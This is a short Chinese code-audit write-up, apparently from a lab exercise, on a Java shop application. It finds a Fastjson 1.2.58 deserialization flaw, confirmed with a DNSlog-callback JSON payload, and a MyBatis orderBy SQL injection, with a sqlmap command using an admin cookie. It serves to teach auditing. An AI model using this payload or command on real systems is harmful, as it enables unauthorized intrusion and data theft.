简单的java代码审计
描述
很简单的代码审计
Fastjson 反序列化
首先看一下配置文件,对于Maven项目,我们首先从pom.xml文件开始审计引入的第三方组件是否存在漏洞版本,然后进一步验证该组件是否存在漏洞点,Fastjson 1.2.58版本存在反序列化漏洞。
关注两个函数:JSON.parse()和JSON.parseObject(),全局搜索两个关键字,查看项目是否存在JSON.parse()和JSON.parseObject(),并跟踪该变量
在网站中找到该漏洞的位置,通过代码中的位置 admin/product,在网站中找到了该位置,并抓包修改propertyJson的序列化数据包,对propertyJson参数值进行URL解码,发现为JSON格式字符串,将其改成恶意的代码进行出网验证。
构建poc:{"@type":"java.net.Inet4Address","val":"c0lwal.dnslog.cn"},成功触发了Fastjson漏洞。
SQL注入
本项目使用了Mybatis,来定义SQL。我们主要查看Myabatis中xxxMapper.xml文件中是否存在使用$拼接SQL语句的情况。使用$是直接拼接SQL语句的,未进行转义
进去看一下,通过 select id 进行跳转到dao层
可以看到select函数中存在orderUitl参数,我们继续逆向追踪,看看参数值从何而来。
从上图可以看出。getList方法中需要orderUtil参数,我们继续逆向追踪,看看orderUtil又是从何而来。首先看看谁使用了getList方法,键盘按住ctrl键后鼠标左击getList,可以看到UserController.java使用了该方法,且传入了orderUtil值,进入文件查看具体代码,如下图所示:
此时应该追踪orderBy参数是从何而来。从下图可以看到,该值通过admin/user/{index}/{count}接口传过来的。通过注释可以看出来该接口用于按条件查询用户,如下图所示:
既然接口找到了,我们可以使用BurpSuite或者Postman来构造请求,然后进一步攻击验证。拼接url进行sqlmap跑,注意因为是后台的操作所以一定要加上cookie验证,否则sqlmap跑不出来:sqlmao语句:python sqlmap.py -u "http://ipxxx/tmall/admin/reward/1/1?orderBy=1" --cookie="username=admin; username=admin; JSESSIONID=xxx"